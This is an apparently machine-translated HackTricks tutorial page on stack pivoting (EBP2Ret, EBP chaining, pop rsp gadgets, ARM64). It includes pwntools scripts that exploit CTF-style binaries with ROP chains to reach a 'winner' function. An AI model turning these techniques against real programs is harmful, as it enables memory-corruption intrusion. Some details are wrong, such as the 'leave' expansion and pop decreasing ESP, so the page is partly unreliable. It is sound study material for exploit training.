Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 11 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

此技术利用操纵 基指针 (EBP) 的能力,通过仔细使用 EBP 寄存器和 leave; ret 指令序列来链接多个函数的执行。

作为提醒,leave 基本上意味着:

mov       ebp, esp
pop       ebp
ret

并且由于EBP在栈中位于EIP之前,因此可以通过控制栈来控制它。

EBP2Ret

当你可以更改EBP寄存器但没有直接方法更改EIP寄存器时,这种技术特别有用。它利用了函数执行完毕后的行为。

如果在fvuln执行期间,你设法在栈中注入一个假EBP,指向内存中你的shellcode地址所在的区域(加上4个字节以考虑pop操作),你可以间接控制EIP。当fvuln返回时,ESP被设置为这个构造的位置,随后的pop操作将ESP减少4,有效地使其指向攻击者在其中存储的地址。
注意你需要知道2个地址:ESP将要去的地址,以及你需要在ESP指向的地方写入的地址。

Exploit Construction

首先,你需要知道一个可以写入任意数据/地址的地址。ESP将在这里指向并运行第一个ret

然后,你需要知道ret使用的地址,该地址将执行任意代码。你可以使用:

  • 一个有效的ONE_GADGET地址。
  • system()的地址,后面跟着4个垃圾字节"/bin/sh"的地址(x86位)。
  • 一个**jump esp;** gadget的地址(ret2esp),后面跟着要执行的shellcode
  • 一些ROP

请记住,在受控内存的任何这些地址之前,必须有**4个字节**,因为**pop部分的leave指令。可以利用这4个字节设置一个第二个假EBP**,并继续控制执行。

Off-By-One Exploit

这种技术有一个特定的变体,称为“Off-By-One Exploit”。当你只能修改EBP的最低有效字节时使用。在这种情况下,存储要跳转到的地址的内存位置必须与EBP共享前3个字节,从而允许在更受限的条件下进行类似的操作。
通常会修改字节0x00以跳转尽可能远。

此外,通常在栈中使用RET滑块,并将真实的ROP链放在末尾,以使新的ESP更有可能指向RET滑块内部,并执行最终的ROP链。

EBP Chaining

因此,将一个受控地址放入栈的EBP条目中,并在EIP中放入一个leave; ret的地址,可以ESP移动到栈中的受控EBP地址

现在,**ESP**被控制,指向所需地址,下一条要执行的指令是RET。为了利用这一点,可以在受控ESP位置放置以下内容:

  • &(next fake EBP) -> 由于leave指令中的pop ebp加载新的EBP
  • system() -> 由ret调用
  • &(leave;ret) -> 在system结束后调用,它将ESP移动到假EBP并重新开始
  • &("/bin/sh")-> system的参数

基本上,这种方式可以链接多个假EBP以控制程序的流程。

这类似于ret2lib,但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。

此外,这里有一个挑战示例,使用这种技术与栈泄漏来调用一个获胜函数。这是页面的最终有效载荷:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP 可能未被使用

在此帖子中解释的,如果一个二进制文件是使用某些优化编译的,EBP 永远无法控制 ESP,因此,任何通过控制 EBP 的漏洞基本上都会失败,因为它没有任何实际效果。
这是因为如果二进制文件经过优化,前言和尾声会发生变化

  • 未优化:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 优化:
bash
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

其他控制 RSP 的方法

pop rsp gadget

在此页面 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有 2 个特定参数的函数,并且有一个 pop rsp gadget 和一个 来自栈的泄漏

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

查看 ret2esp 技术:

Ret2esp / Ret2reg

参考文献与其他示例

ARM64

在 ARM64 中,函数的 前言和尾声 不在堆栈中存储和检索 SP 寄存器。此外,RET 指令不会返回到 SP 指向的地址,而是 返回到 x30 内的地址

因此,默认情况下,仅仅利用尾声你 无法通过覆盖堆栈中的某些数据来控制 SP 寄存器。即使你设法控制了 SP,你仍然需要一种方法来 控制 x30 寄存器。

  • 前言
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP 指向帧记录
  • 尾声
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 控制 SP(通过控制某个寄存器的值传递给 SP,或者因为某种原因 SP 从堆栈获取其地址并且我们有溢出)然后 利用尾声受控的 SP 加载 x30 寄存器并 RET 到它。

在以下页面中,你还可以看到 Ret2esp 在 ARM64 中的等效物

Ret2esp / Ret2reg

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks